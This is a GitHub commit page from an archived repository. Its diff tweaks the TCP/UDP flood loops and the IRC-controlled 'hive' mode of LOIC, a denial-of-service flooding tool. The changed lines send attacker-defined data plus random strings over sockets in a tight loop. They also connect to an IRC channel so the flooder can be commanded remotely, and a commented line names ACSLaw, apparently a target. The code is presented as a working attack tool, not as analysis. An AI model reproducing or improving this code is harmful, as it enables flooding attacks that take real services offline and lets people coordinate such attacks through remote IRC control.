Skip to content
This repository has been archived by the owner on Jan 9, 2024. It is now read-only.

Commit

Permalink
IRC: Fix for Case sensitivity in channel name - TCP/UDP: Fix for anot…
Browse files Browse the repository at this point in the history
…her bug with random
  • Loading branch information
NewEraCracker committed Feb 20, 2011
1 parent 309eaab commit 729e443
Show file tree
Hide file tree
Showing 2 changed files with 5 additions and 3 deletions.
4 changes: 2 additions & 2 deletions XXPFlooder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
while (IsFlooding)
{
FloodCount++;
buf = System.Text.Encoding.ASCII.GetBytes(String.Format(Data, (AllowRandom ? new Functions().RandomString() : null) ));
buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? new Functions().RandomString() : null) ));
socket.Send(buf);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
Expand All @@ -74,7 +74,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
while (IsFlooding)
{
FloodCount++;
buf = System.Text.Encoding.ASCII.GetBytes(String.Format(Data, (AllowRandom ? new Functions().RandomString() : null) ));
buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? new Functions().RandomString() : null) ));
socket.SendTo(buf, SocketFlags.None, RHost);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
Expand Down
4 changes: 3 additions & 1 deletion frmMain.cs
Original file line number Diff line number Diff line change
Expand Up @@ -221,9 +221,11 @@ private void DoHive(bool enabled)
int port;
if (!int.TryParse(txtIRCport.Text, out port)) port = 6667;
irc.Connect(txtIRCserver.Text, port);
channel = txtIRCchannel.Text;
channel = txtIRCchannel.Text.ToLower();

// irc.WriteLine(Rfc2812.Nick("loicbot"),Priority.Critical);
// irc.WriteLine(Rfc2812.User("loic", 0, "ACSLaw"),Priority.Critical);

irc.Login("LOIC_" + new Functions().RandomString(), "Newfag's remote LOIC", 0, "IRCLOIC");

//Spawn a fuckign thread to handle the listen.. why!?!?
Expand Down

0 comments on commit 729e443

Please sign in to comment.